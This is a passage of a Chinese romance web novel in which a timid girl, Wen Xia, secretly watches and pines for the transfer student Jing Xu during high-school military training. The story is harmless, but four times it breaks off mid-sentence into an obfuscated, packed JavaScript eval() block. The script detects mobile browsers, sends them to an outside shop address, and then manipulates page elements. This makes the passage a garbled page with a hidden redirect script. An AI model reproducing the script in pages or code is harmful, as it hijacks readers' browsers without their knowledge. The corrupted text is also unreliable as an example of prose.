而她,躲在光没照到的地方,做一个胆小的偷窥者。 到站下车,温夏就这么不紧不慢地跟在他身后。 走到操场,老师正在点名。 点完最后一个,把点名册又往前翻了翻:“景栩和温夏来了吗?” “来了。”景栩说,“不好意思,今天起晚了。” 点名的老师听到声音,往后看:“你就是从堰青转学过来的景栩啊。没关系,还早呢,你们班只差你和另一位同学了,我过来问问。” 景栩走进班级队伍后,老师看到他身后的小姑娘,笑了笑:“那你就是温夏吧?” 温夏点点头。 看她低着头的样子,老师笑了笑:“别怕,没迟到。去排队吧。” 老师提高音量:“人齐了就可以上车,车身上写有班级,别跑丢了。出发前会再点一次名,别想着偷偷溜去其他班鬼混。” 大家排着队,把行李放进行李舱。 景栩不知道什么时候走到她身边:“没想到咱俩同班。” 温夏扯出一个笑容:“是啊,真巧。” 她说完就看向别处,心里有些难受。 开学考放榜他排在第一,看完就走了,根本不关心和他同班的还有哪些人。 她的名字在中间,自然也不会被他看到。 “我帮你吧。”景栩伸手把她的行李箱拉过来,“你先上车。” “谢谢。” “这么轻啊。” 正在看他手腕上那块黑色宇舶发呆的温夏,慌忙移开视线:“嗯?” 他笑:“我以为女孩子的行李都很重。” - 温夏喜欢呆在最无人在意的地方,一上车,就径直往最后一排走。 刚坐下,她听到了景栩的名字。 前排坐了几个人,男生女生都有,不知道谁先开口的,话题就这么挑起来了。 “怎么会有人想不开,从堰青来树阳?脑子被门夹了?” 有人反驳:“你懂什么,这证明咱树阳人杰地灵,魅力跟我一样大,令人心驰神往。” 没人搭茬,话题继续围绕着景栩展开:“咱们这次开学考,有不少高中题,他还是考了七百多,多变态。” “第二名才618,人比人气死人。” “树阳的资源跟堰青的能比吗?人家可能就是随便考考,就轻松把咱都碾压了。” “听说家里还特别有钱?我哥说,景栩手上那块表,能在咱县城付套三室一厅的首付。” “手表我不懂,但是他一双鞋,够我买好几年衣服了。” “就算不了解品牌,光看他那样,就知道绝对不是跟咱一样的人。没准儿人就是来体验两天生活,军训没结束就回去了。” “……” 温夏静静听着这一切,右手掐着左手食指,感受到痛才放开。 好几天前,她被打发去看店,走到巷口时,看到他把表扔进垃圾桶。 只是因为表带轻微磨损,他觉得不好看了。 林婆婆把表捡回来,说换上备用表带还能接着用。 他有轻微洁癖,不想要,轻描淡写说了句:“懒得麻烦,扔了吧。” 那块表确实扔了,被一个小朋友捡到,温夏用一个冰激凌跟她换了表。 现在,这块表被她锁在抽屉里。 现在他手上这块,和扔掉的那块一模一样,但……是新的。 她一个MP3用了好几年舍不得扔;草稿纸要先用铅笔写,用完之后,换红笔再从头用一遍;周围人用蓝牙耳机代替了有线耳机,而她的有线耳机用了快三年,也没想过要换…… 人和人到底有多不同呢? 就像此刻,景栩是被人讨论和羡慕的中心,而她即使就在他们身边,也被理所当然地忽略掉了。 温夏戴上耳机,屏蔽掉那些话。 明明今天天气很好,少女的心里,却像下了一场雨。 大家的讨论,从景栩上车那一刻戛然而止。 景栩在树阳几乎没有认识的人,自然而然走到唯一脸熟的温夏身边坐下。 温夏没想到他会过来,在MP3按键上乱按的手指,在他坐下那一刻倏地停了。 她别过头,假装看窗外的风景。 景栩没察觉到她的小动作,和她聊起天:“在听什么?” “雨声。” 温夏的MP3里,只有雨声。 各种各样的雨声。 压力大或者不想说话的时候,听一会儿雨声,情绪就会得到缓解。 这是她自己的小世界,从来没和别人分享过。 大巴出发,窗外景色倒退,温夏取下一只耳机攥在手里。 太阳正盛,气温逐渐升高,她手里有了薄薄细汗。暗自做了许久心理准备,想了无数个开场白,在心里模拟了无数个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这会儿和她没挨着了,也没有刻意跑上来找她。 温夏住六楼,宿舍是随机分配的,分到最后,她和同班的黄筝就被剩下了。六人间的宿舍,只有她们俩住。 温夏对黄筝有印象。 开学考黄筝就坐在她前面,考数学的时候偷吃巧克力被老师逮到,没等老师说话,就一口气把巧克力塞嘴里了。还说巧克力能促进大脑发育,吃两块就能简单拿捏这套题。 温夏推开门,看到黄筝正翘着二郎腿吃巧克力。 听到动静,黄筝神色慌张,想都没想就把巧克力往抽屉里塞。等看清来人后,才松了口气:“吓死我了,还以为是教官来了。” 她边说边把巧克力拿出来,从尾部掰了半块给温夏。 见温夏没动作,黄婕又往前递了递:“好不容易藏下来的一块。” 温夏接过:“谢谢。” “我叫黄筝,风筝的筝。” “温夏。” “我知道,看宿舍分配表的时候看了一眼。”黄筝挽着她的手,晃了晃,“下午除了去领洗漱用品和军训服,没什么事儿了吧?” 面对陌生人的亲昵,温夏有些不适应,后知后觉地“嗯”了声。 “休息一下,咱一起去。” “好。” 5. 05 洗漱用品和军训服是一起领的,领取处已经排满了人。此时太阳很大,黄筝打着哈欠咕哝道:“晒死了,早知道睡个午觉再过来了。” 温夏性子静,并没有附和,只是无声地笑笑。 大多数人际关系都易碎,经不起冷落,也经不起分享毫无回应。 黄筝大概是觉得她无趣,兴致缺缺的说了几句无关痛痒的话后,就转身和排在身后的女生交谈起来。 此时是一天中最热的时候,太阳的温度最有杀伤力。温夏脸被灼得泛疼,眯了眯眼,抬手挡在了头顶。 她跟着队伍缓缓挪动,心不在焉的样子。 和黄筝聊天的女生不知道是哪个班的,两人都是自来熟的性格,很快相谈甚欢。 两人聊电视剧,聊明星八卦,聊接下来的军训……很快,景栩成为她们话题的中心。 温夏手指蜷了蜷,步子不动声色往后挪了些。或许是因为偷听心虚,少女背脊都不自觉挺了几分,掩耳盗铃般想装出一副光明正大的样子。 她们聊的,无非就是在大巴上听到的那些话,温夏还是极有耐心地听完了。 忽然,温夏感觉到身后的声音小了,她也没在意。 因为她看到了正往这边走的景栩,注意力瞬间被吸引过去。 他身边有好几个人,和他有说有笑,大概是同宿舍的舍友。 同是高一新生,同样被扔进陌生的大环境。和她相比,他却展现出强盛的生命力,在一片未知地风生水起。 温夏目光聚焦在他身上,一瞬间看晃了神。 他好像永远都闲适、自得。 和做任何事都瞻前顾后、小心翼翼的她,完全处在两个极端。 眼前汹涌的人潮,像一条幽深的沟壑,将他们隔开了。 她没敢看太久,在他察觉前收回了视线。 领完洗漱用品,黄筝一手抱着盆,一手挽着温夏,脑洞大开:“夏夏,你说景栩这样的人,会不会像电视剧里那样,早早就订亲了?有一个青梅竹马的未婚妻?或者从小家里就给物色了联姻对象?” 温夏心脏被这个问题重击了一下,缓了会儿,才想起来要回应黄筝,“应该……不会吧?” 黄筝神经大条,没察觉到温夏的异常,自顾自说着:“像他这样性格好学习好家境好的人,应该挺多人喜欢的。就是不知道,他有没有喜欢的人……” 说这句话时,她们正好经过景栩。 走出几步,温夏没忍住回头看了眼。 他被围在人群里,周围人不知道说了什么笑话,他大笑起来。 眼睛里好像住着全世界最亮的那缕阳光。 温夏的呼吸后知后觉地滞住,好像所有的闷热在一瞬间扑过来,将她裹住,闷得她有些喘不过气。 会吗? 会有喜欢的人吗? 如果有,对方一定是顶美好的女孩子。 或许明媚似骄阳,或许温柔似皎月,或许纯净似清风…… 但一定,不会是她这样,自卑木讷又怯懦胆小的人。 回到宿舍,黄筝立刻去洗手台冲了个脸:“这天总这么热,是想把人烤熟吗?要是军训下雨就好了。对了夏夏,军训结束你要申请住校吗?” “我走读。”说完,温夏怕黄筝觉得自己话少,不好相处,又补了句,“要帮家里看店。” 一中的生源大多数来自周边的乡镇,离家远的就申请住校,黄筝就是其中一个。听完温夏的话,她叹了口气:“真羡慕每天都能回家的人。” 温夏扯出一个笑。 脑海里冒出一句话:真羡慕每天都想回家的人。 那意味着,家是一个有爱又温暖的地方。 她之前是想申请住校的,但赵雁蓉不同意,她还因此被骂了一通。 温悦住校了,她得留下来帮忙看店。 她懒得在这种事上跟赵雁蓉吵,也不想让大伯在中间为难,就没再争取。 一开始她还为此难过,可景栩应该也不住校……每次想到这儿,走读这件事,好像也没那么难以接受了。 黄筝突然叫了声,等温夏看过来,她才开口:“夏夏,你有笔吗?” 温夏递了一支给她:“怎么了?” “差点忘了。”黄筝不知道从哪撕了半张纸,接过笔写完了,才神秘兮兮地晃了晃手中的纸,“景栩的企鹅号。” 温夏想起排队时,她们交谈的声音突然小了,现在看来,估计是在念企鹅号。 黄筝写完后,用眼镜盒把那半张纸压住,才不紧不慢地爬上床:“刚才跟我聊天的女生,和她初中同校的一个男生是景栩室友,她说是那个男生给她的。应该是真的吧?” “大概吧。” “军训结束,一拿到手机我就加了试试。不过班主任肯定都要建群,到时候再加好像也一样。”黄筝说,“我昨天半夜才睡着,困死我了。” 温夏起身,贴心地帮她把窗帘关上:“那你先睡会儿。” 黄筝看到温夏手腕上戴了表:“那我睡半个小时,咱再一起去食堂吃饭。” “好。” 黄筝很快睡着了,寝室里静得落针可闻。 温夏强撑着困意,大概过了二十分钟,她轻轻叫了声:“黄筝?” 没得到回应,她又叫了两声。确定黄筝熟睡后,她内心挣扎许久,才像个小偷一样,去看被眼镜盒压着的那半张纸。 从小到大,她逆来顺受,温吞懂事,很少做不好的事。 此时的偷看,应该算一件。 明明知道根本不会有人看到,她还是心跳加速,如惊弓之鸟。 她快速把那串数字背下来,正要离开,身后传来动静。 黄筝翻了个身。 温夏好不容易平稳的心跳又提了起来。 好在黄筝没醒。 两秒后,黄筝咕哝着说了句:“再来两块。” 时间差不多了,温夏叫醒黄筝。 黄筝揉揉眼,动作麻利的下床,随便抹了把脸就拉着温夏出门了:“我刚才梦到炸鸡排,可馋死我了,也不知道食堂有没有。” 这个点食堂已经有很多人了,两个姑娘转了好几个窗口,都没看到炸鸡排,干脆在最近的这个窗口排队。 不多时,温夏身后来了个男生,是开学考考了第二的卢杭。 温夏初中时和他同班,从事一开始就是班长,其他班委每学期一换,只有他雷打不动。县里举办的各种竞赛他都露过脸,拿了不少奖。 昨天在操场集合时,班主任好像对他很是了解,直接指定他为班长,景栩则是学习委员。 卢杭看到温夏,主动打了招呼。 温夏温柔笑笑:“班长。” 同窗三年,卢杭也了解温夏话不多,淡淡点头后就没了下文。 没多久,卢杭抬手喊了声:“阿栩!” 温夏下意识转头看向食堂门口,果然看到了姗姗来迟的景栩。 他大概才洗了头,头发蓬松着,一副还没睡醒的样子。听到卢杭叫他,微微抬手示意,朝着他们的方向走来。 走近了,景栩跟她打招呼,聊了几句,说都是一个班的,一会儿就坐一起。 黄筝外向,立刻笑着回应:“好啊。” 打完饭去找位子的时候,景栩和卢杭走在前面,黄筝用手肘碰了碰温夏,小声说:“看不出来啊,你和景栩居然认识。早知道找你要他的企鹅号了。” 温夏小声否认:“我跟他不熟。” 黄筝说了句“小气”,然后故意走快了几步:“刚才景栩打招 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986520|137072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呼的样子,看起来明明就很熟。” 除了程聿和格格,温夏从小没什么在乎的人。 她从小的生活环境,要求她能够清楚地感知到别人的情绪变化,从而化身暖心小天使,对症下药地进行安慰。 可她从来都没有办法,对那些情绪感同身受,也从来没想过,真正共情那些情绪。 黄筝怎么想,跟她一点关系都没有。 但她不好意思装作自己和景栩很熟。 想了想,她还是追上去解释:“我跟他之前见过几面,都没怎么说过话。” 黄筝情绪来的快,去的也快,没多久又和温夏聊起天。 热络得,温夏觉得刚才的不愉快,好像只存在于自己的幻想里。 吃饭的过程中,温夏一直低着头,没敢看景栩。 吃完饭走出食堂。 食堂往上一百米就是篮球场。 明天军训正式开始后,学生就不能像今天一样完全自由地使用场地了,所以这会儿场地上的人多得有点超出意料。 卢杭对着空气做了个投篮的动作:“阿栩,要不要进去玩会儿?” “行啊。”景栩答应得爽快。 他们和两个女生说了声,就往篮球场的方向跑去。 景栩穿了件十分能代表干净少年的白衬衣,扣子解开了,奔跑的时候,风卷起衣角。 温夏觉得自己词汇量太匮乏了,因为每到这种时候,她能想到和他最贴切的词,就只有“朝气蓬勃”。 他们走后,气氛忽然就沉了下来。 黄筝话多,但这会儿也找不到机会开口。 尤其是,温夏似乎也没打算主动开口,低着头不知道在想什么。 黄筝觉得有些不自在。 就这么沉默了几分钟,黄筝还是决定先破冰:“夏夏,我相信你和景栩是真的不熟。要是他们不说,我也以为他跟卢杭认识很久了。大概是因为他性格好,才会给我这样的感觉吧。对了,你这会儿要回寝室吗?” 温夏的思绪被打断,回神:“怎么了?” “要是没什么事儿的话,咱散会儿步再回去?” “好。”温夏点头。 两人漫无目的地走。 基地很大,不知道怎么走的,从另一个地方绕回了篮球场。 秉承着“来都来了”的心态,两人走了进去。 靠里的那个场围了一圈人,两个姑娘费了好大的劲才挤到最里面。 正好看到景栩站在三分线外,动作利落地投了一个球。 球在空中划出一个优美的弧度后,稳稳落入筐中。 当即响起一阵欢呼声。 他的衬衫不知道放哪了,身上是没有任何图案的棉质白T。 哪怕是这样,他的光芒也没被掩盖分毫。 进了球的少年,张开双臂,欢呼着开始绕场,和无数人击掌,仿佛眉梢都染着笑意。 温夏站在最前面,看他跑过来时,也学着其他人伸出手。 她怀着期待,暗自数着秒数。 数到第七秒的时候,他的指尖短暂触到她的掌心。只是一瞬,少女全身的神经却在那一瞬紧绷起来。 相触时留在掌心的那一点痒意,很快就消失不见,她却清晰地感受到心跳失了正常频率。 少年的影子被余晖拉得老长。 他跑过,影子也从她身上掠过,在她指尖做了短暂停留。 她无意识地收拢手指,却空荡荡,什么都没抓住。 温夏抬眼。 此时天空漂亮得像一幅巨大的油画,头顶是宁静的蓝,点缀了零碎的几颗星。慢慢向远处过渡成了疗愈的橘红,更远处落日熔金,是整片天空里最浓墨重彩的一笔。 热烈程度却不及他万分之一。 6. 06 正式军训当天,黄筝起的很早,她动静很小,但寝室太安静,一点微小的动静都会被放大。 温夏就这么被吵醒了。 借着阳台处的灯光,温夏抬手看了看表,六点不到。 被吵醒,她没办法再安心入睡,干脆穿了衣服下床。 听到动静,黄筝探头问:“我是不是吵到你了?” “没有。”温夏嗓音微哑,“怎么起这么早。” 此时黄筝正站在镜子前抹防晒:“我可不想晒成黑炭,临出门再抹就没用了。” 温夏打了个哈欠,简单洗漱完,黄筝还没抹好。 她也不催,安静坐着等。 黄筝见她没动作:“夏夏,你不涂吗?” “……啊?嗯。” 早上八点集合开始军训,两个姑娘七点就出门了。 到食堂买了早餐,打算边走边吃。 温夏却在往出走的那一刻,看到了坐在“珍惜粮食,拒绝浪费”警示牌旁的景栩,她叫住黄筝:“要不,我们吃完再走吧。” 黄筝无所谓:“都行。” 说完她就近找了个位置坐下,温夏顺势坐在了她对面。 这个位置,一抬眼就能看到景栩。 虽然不能和他坐在一起,但这样远远看着,她也觉得满足。 黄筝吃完了,起身:“走吧。” 说完才发现,温夏餐盘里的东西几乎没怎么动,“夏夏,你胃口好小哦。” 温夏一愣:“我不太饿。” - 因为在同一方阵,温夏和景栩还是遇上了。 教官还没到,操场上十分嘈杂。 他没怎么说话,只是静静听着周围人聊天。 黄筝很快和同班女生打成一片,互相交流着哪款防晒平价好用。 温夏没什么经验可分享,也和他一样安静站在一旁,盯着影子发呆。 有人看温夏一直没开口,想把她带进话题,但不知道她的名字,憋了几秒,只憋出了个生硬的、听起来有点凶的开头:“你呢?” 温夏看向她后,露出甜甜的梨涡笑:“你用的什么防晒,好用不?” 她眸光明亮,温夏将视线微微移开了些。 正好撞上景栩的目光。 她迅速低头,小声道:“……我没有防晒。” 说完,她脸上烧了起来。 突然觉得,不涂防晒,好像……是一件非常丢脸的事。 温夏紧紧攥住衣角。 她平凡普通,扔进人群里很快就消失不见。 她一直都活得不精致。 在温悦能够准确挑选适合自己的化妆品时,她连支洗面奶都没有;同龄的女生开始尝试不同的穿衣风格,她的衣服还是一成不变的黑白灰,毫无亮点,宽松也平常…… 明明在此之前,她一直觉得,没有防晒再正常不过。也能平静接受,自己和同龄女生的某些方面的差别。 明明在今天之前,她没觉得这一切有什么问题。 怎么在他面前,就觉得难为情了? 乱七八糟的情绪,在温夏脑子里转了好几个弯才消停。 等她再抬头,景栩已经没在原地了。 他此时站在队伍末尾,和几个男生聊天。 那些百转千回的情绪,好像只是她一个人的独角戏。 他刚才的那一眼,大概只是正好掠过她,却在她这里掀起巨浪,吞噬卷食着她的心脏。 她知道,暗恋这场哑剧,注定演员只能有一个人,注定静默而无声。 可她这场独角戏的主角,从来都不是自己,而是从未上场的景栩。 也知道。 在他的视角里,他甚至算不上这场独角戏的观众。 - 军训的内容老掉牙了,教官说今天第一天,对他们仁慈些。上午就只做一些基础的项目。 第一个项目是集体跑圈,当做热身。 温夏从小没什么运动细胞,即使这些年在赵雁蓉的压迫下长大,体力也没得到实质性的提升。 她跑了半圈,就感觉胃一阵抽痛,忍着跑完了,原地休息两分钟,开始站军姿。 虽然已经入秋,但太阳很大,没站多久温夏已经感觉到后背和额头出了汗。 太阳越来越大,汗也越出越多。 其他方阵陆续有人晕倒,本就不太舒服的温夏感觉头更晕了。 黄筝看着他们一个个被送去医务室,小声叹了口气:“我也好想晕,好想去医务室吹空调。夏夏,要不你晕一个,我就可以顺理成章申请去照顾你……” 黄筝旁边的女生笑了声:“你怎么不自己晕?” 黄筝:“夏夏那么瘦,她晕比较有说服力。” 但温夏只感觉头越来越重,只知道站在她旁边的黄筝在说话,至于说了什么,她根本没听清。 她好像听到教官喊了句什么,但是也听不清,眼前一黑,直直倒了下去。 她倒在地上,砸出闷响。 黄筝就在她旁边,看她倒下去,赶紧跑过来:“夏夏!” 其他人也立刻围了上来。 教官蹲下来,让其他人散开:“来个同学把她送去医务室!那个高个子男生,你来!” 温夏什么都看不清,也什么都听不清。 她不想麻烦别人,想睁开眼睛,可眼皮好重,她撑不起来。好容易把眼皮掀起一点点,阳光太刺眼,她又迅速闭上了。 没几秒,她感受到自己被人背起来,迷糊间,她闻到橡木苔的味道。 好像触手可及,又好像飘渺似梦。 温夏一直没彻底晕过去,到医务室的时候,她的症状已经缓和了些。 医生在隔壁房间看病人,暂时没人管温夏。 景栩问:“现在感觉怎么样?下午要不要请假?” 没等到温夏回答,跟着一起来的黄筝开口了:“夏夏,演技不错啊。” 温夏下意识偷偷观察了一下景栩,想解释:“我……” 黄筝拍拍她的肩,一副“放心,我都懂”的样子。 温夏怕再解释,显得自己刻意,就干脆没再说话。 房间没有空调,只有一个黑色的落地扇,看起来落了灰,很久没用过。黄筝跑过去观察了会儿,把电扇打开了。 房间里,只剩下风扇扇片转动的声音。 温夏一直低着头。 如果此刻地上有个洞,她一定一头扎进去。 景栩就在旁边,他大概率会觉得,自己是个只图享乐、偷奸耍滑的人。为了逃避军训,不惜装病…… 她逼着自己往好处想——或许他根本不会对她有任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986521|137072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何看法。 但……如果是这样,她好像更难过。 因为这意味着,在他的世界里,她只是一个,不值得浪费时间和精力去评价和在意的人。 温夏思绪翻涌,垂着眼,视线里那双白鞋一直没动过。直到医生过来检查,他才退开:“我去隔壁给你接杯温水。” 他很快回来,医生也正好检查完。 他把水递给她,才看向医生:“您好,她怎么样?” 医生看了温夏一眼,“没什么大碍,有点贫血和营养不良,开点药,好好休息。” 大概是因为温夏实在太瘦,医生没忍住多说了几句:“一日三餐都要吃,现在这个年纪正在长身体,让家长给你做点有营养的补一补。 “瘦成这样,减肥呢吧?你们这些小姑娘,别总想瘦成风一吹就倒的样子,健康才是最好看的。” 听到这些话,景栩把视线挪到温夏身上。 女孩的长发扎成低马尾,碎发散在两侧。她低着头,因为坐在了靠窗的位置,窗帘没拉,阳光直射进来,融进她的肌肤里,晕亮她脸上细小的绒毛。 她身形清瘦,军训服松松垮垮地套在身上,袖子拉了上去,露出一截细白的手腕,手背上的血管都清晰可见。 她确实,瘦得有些过分。 不仅瘦,还很单薄。 医生的语气其实算不上太好,她却始终礼貌回应着:“我知道了,谢谢您。” 医生把单子递给景栩就走了。 景栩去药房拿了药,放在她手边:“用法用量按说明书来就行。你没事儿的话,我就先走了。” “药多少钱,我没带,下午给你。” “不用,没多少钱。” “谢谢。” “小事。”景栩像是后知后觉地热了,摘掉军训帽,“你下午要去吗,需不需要帮你跟教官请个假?” 温夏知道说话时看着对方是礼貌,但他眼睛太亮,她内心纠结一番,还是选择避其锋芒。 她根本不敢看他。 她假装翻看着塑料袋里的药:“谢谢,我休息好了就归队。” “嗯,走了。” 景栩走后,黄筝走到温夏旁边坐下:“对不起啊夏夏,我还以为你是装的。” “没关系。”温夏拿起一板胶囊挤了两颗。 “空腹不能吃药,我去面包房给你买点吃的。” “不用麻烦了……” “不麻烦,你先躺会儿。” 黄筝说完就跑出去了,完全没给温夏拒绝的机会。 看着她的背影消失,温夏轻声叹了口气。 黄筝没多久带着面包跑回来,之后两人一直待在医务室,直到午饭时间。 走出医务室,上午的军训正好结束。一水儿的绿色衣服心照不宣地往食堂方向涌,像聚在水面的藻类,被水波推着往前走。 温夏知道在人流里找到景栩的几率很小,偶遇的几率更是微乎其微,但她还是执着地,在目之所及处寻找那道身影。 毕竟,这个世界上,巧合并不稀缺。 结果当然不如人意,她眼睛都看酸了,也没能看到景栩。 温夏收回视线,没来由的有些失落。 她从来不是被上天眷顾的那一类人,期待发生的巧合,也从来不会降临在她身上。 7. 07 下午气温持续升高,热浪翻滚,万物都被炙烤得弯曲变形。 温夏站在操场,用军训帽扇着风,汗还是不断往外冒。她觉得自己像即将被晒化的棉花糖,黏作一团。 下午她都没什么机会跟景栩说话,但她的目光抓住了无数机会,偷偷落在他身上。 他站在队伍末尾,解散休息时,他直接原地坐下,双手往后撑,头微微仰起,和身边的人说笑;喝水时也只是匆匆从她身边跑过,带来一阵凉风,没几秒便停歇。 下午的军训好像一下子就结束了,但身体的疲劳感还是不可忽视。 黄筝说,等解散了,她要去超市大买特买。 解散后,黄筝立刻拉着温夏去了超市。 基地的超市只有水和牛奶,一点吃的都没有。黄筝整个人肉眼可见的蔫儿了下去,操着做作的哭腔:“我觉得咱不是来军训的,咱是来出家的。食堂没多少肉就算了,这么大个超市,居然一丁点零食都没有!” 温夏被她刻意夸张的表情逗笑,从冷饮柜里拿了两瓶牛奶:“还好不是只有矿泉水。” “也是。”黄筝走到柜子旁,“那我也拿瓶牛奶好了。” “我请你喝吧。” 黄筝看了眼温夏手里的两瓶牛奶,点点头:“那谢谢夏夏啦!” 从小到大,温夏生活都过得很紧巴,很少有请客的时候,能不买的东西她一定不会买。对她来说——零食和饮料不是必需品;衣服只要还能穿,再旧再过时她也能接着穿;书包和文具只要没坏就能继续用…… 但黄筝今天帮过她,她不能辜负别人的好。 至于另一瓶……自然是给景栩的。 她不确定能不能遇到他,但她还是买了。 瓶身冰凉,冒着冷气,温夏握在手里,凉意立刻从掌心蔓开。她怕继续握着加速牛奶升温而影响口感,就换成了轻轻捏着瓶口。 很快玻璃壁上凝了水珠,顺着瓶身往下滑。 去食堂吃完晚饭,温夏主动问黄筝,要不要散会儿步再回去。 黄筝摇头:“今天太累了,出了好多汗,我想回去洗个澡,然后好好睡一觉。” “那我就自己去了。” “你还有体力散步啊?”黄筝惊讶。 温夏笑了一下,没有正面回答。 她当然也累得只想躺着,但还是想碰碰运气,看能不能遇到景栩。——这些话她自然没办法跟黄筝说。 黄筝有点佩服她了,明明瘦得营养不良晕倒了,这会儿还有精力去散步。 和黄筝分开后,温夏站在岔路口。 这会儿篮球场没有开放,那个方向没什么人,眼前剩下了三条路——一条通往操场,一条通往宿舍楼,一条通往超市。 温夏内心纠结,暗暗思考着选哪条遇见他的概率较大。 或许其中一条路能遇到他,又或许他这会儿在室内,走哪一条都没法遇到…… 还没来得及迈开步子,温夏听见有人喊了声:“景栩,快点,晚了食堂没饭!” 她转身,看到他从宿舍楼的方向跑下来。 他衣服已经换了,白色短袖和黑色短裤,运动鞋白得晃眼。 眨眼间的功夫,他已经停距离她只有两米的位置。 景栩率先打了招呼。 温夏有些无措,木讷地举起手,强装坦然,问了句毫无意义的话:“你来吃饭吗?” 相比之下,他坦荡地站在余晖里:“对,你吃了吗?没吃一起呗。” 其实,她很想说“还没吃”,争取一些和他相处的时间。 “我已经吃过了。”大概心思不纯,温夏怕撒谎后,那些心思变得昭然若揭,只得实话实说。 很多年后,温夏才明白,其实她说出哪个答案都没关系,因为对方坦荡至极。那些弯弯绕绕的心思,只有她这个当事人,才会过分敏感。 喜欢从最隐匿处野蛮生长,触及心脏的每一寸,快要蔓延出来。势不可挡到,像是要把这份喜欢立刻宣之于口。 可暗恋的人总是心虚。在心意暴露的前一秒,会收回所有触角,恢复平静而淡然的模样。 怕他对这份爱意一无所知的同时,又怕这份汹涌扰他清静。 于是一举一动、一言一行都思忖再三,变得小心翼翼。 温夏脑子里想了好几个,把牛奶送出去的方法,可都怕不够自然。 握着牛奶瓶手指因用力而泛白,眼看着景栩要走,才慌忙着给了出去:“请你喝的,谢谢你送我去医务室。” 景栩没矫情,笑着接过了:“正好有点渴,谢了。” 温夏手里还有现金:“药钱。” 上午她偷偷问了医生,开那些药三十块钱,她不想有所亏欠。 “不用了。”他晃晃手里的牛奶,“不都请我喝牛奶了。” 温夏抿抿唇,执拗地,不肯收回手。 僵持两秒,景栩无奈笑笑,接过了。 温夏回去时,黄筝正好洗完澡,头发还湿漉漉的,身上似乎还冒着白气。吹头发只能在一楼,黄筝不想一个人下去:“夏夏,你现在要去洗澡吗?” “怎么了?” “要洗的话,我等你一起下去吹头发。” “那你等我一会儿。” “好。” 今天太累,温夏吹完头发回来,吃了药,没多久就睡着了。也不知道睡了多久,她听见警报声响起,似梦非梦。 她觉得自己该睁开眼看看,但眼皮沉重,实在没办法睁开。 直到她听见黄筝叫她,艰难睁开眼的那一秒,她就确定了警报声不是在梦里。 温夏瞬间困意全无,手忙脚乱地穿上军训服,就和黄筝往外跑。 所有人都在往操场跑,好几次温夏差点被推下楼梯。 但与此同时,温夏也看到有气定神闲,散着步去集合的。 在操场集合完毕后,温夏才知道这是一次突袭的消防演练。 因为学生警惕性不高,集合时间花了将近十分钟,所有人被罚跑三圈。 三圈结束,连队教官和隔壁连队的教官组织了一场拉歌比赛,场面一度十分混乱,唱到最激动处,甚至还站起来。 进行到最后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986522|137072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,教官干脆坐下,让学生围坐成一个圈,说:“接下来是才艺展示的环节,想展示自己的同学到最中间。唱歌跳舞背诗都可以。” 好几分钟都没人毛遂自荐,气氛一度冷了下来。 温夏的注意力一直在景栩身上。 他身上穿的是今天下午那身私服,应该是警铃一响就跑下来了。 晚间有风,白色T恤被吹出了些褶皱,发丝也有小弧度的晃动,恍然间,温夏觉得那双黑亮的眸像是流动着星河。 许是气氛太沉,他主动成为气氛组。温夏看到他起身,走到人群中心,说要跳街舞。 教官立刻用手机搜了伴奏,他的身体也随着节奏感十足的音乐动了起来。 他动作干净利落,对自己身体有十足的掌控感。在最引人注目的地方,成为最耀眼的存在。头顶是满天繁星,所有的光辉加起来,不及他一人。 温夏一颗心扑通乱跳,失了神。 之后的军训内容都和今天差不多,最后一天是汇演,中午就结束了。 校车早早停在了基地外。 上车的时候,温夏去了老位置。MP3已经没电了,但她还是戴上耳机。 景栩和那天一样,帮她放了行李。 可同时,他也帮了其他人。 明明知道他帮自己,只是因为他为人热情,乐于助人;也知道对他来说,自己只是一个再普通不过的同学。 她还是被浓厚的酸涩包围。——像是重逢那晚巷子里的雾,漫天盖地,久久散不去。 军训结束,她已经不是景栩唯一眼熟的人。他这期间认识了很多朋友,每个人都和朋友坐一块儿,他没道理再像之前那样,坐在她身边。 姗姗来迟的黄筝上了车,一眼锁定温夏后,直接坐在了她身边:“终于结束了!我都被晒成黑炭了,军训这么多天,居然一次雨都没下过!对了夏夏,等会儿回班集合完,咱俩喝奶茶去吧?” 学生要先回班集合,等班主任清点完人数,才能自行安排时间。 温夏点头:“好。” 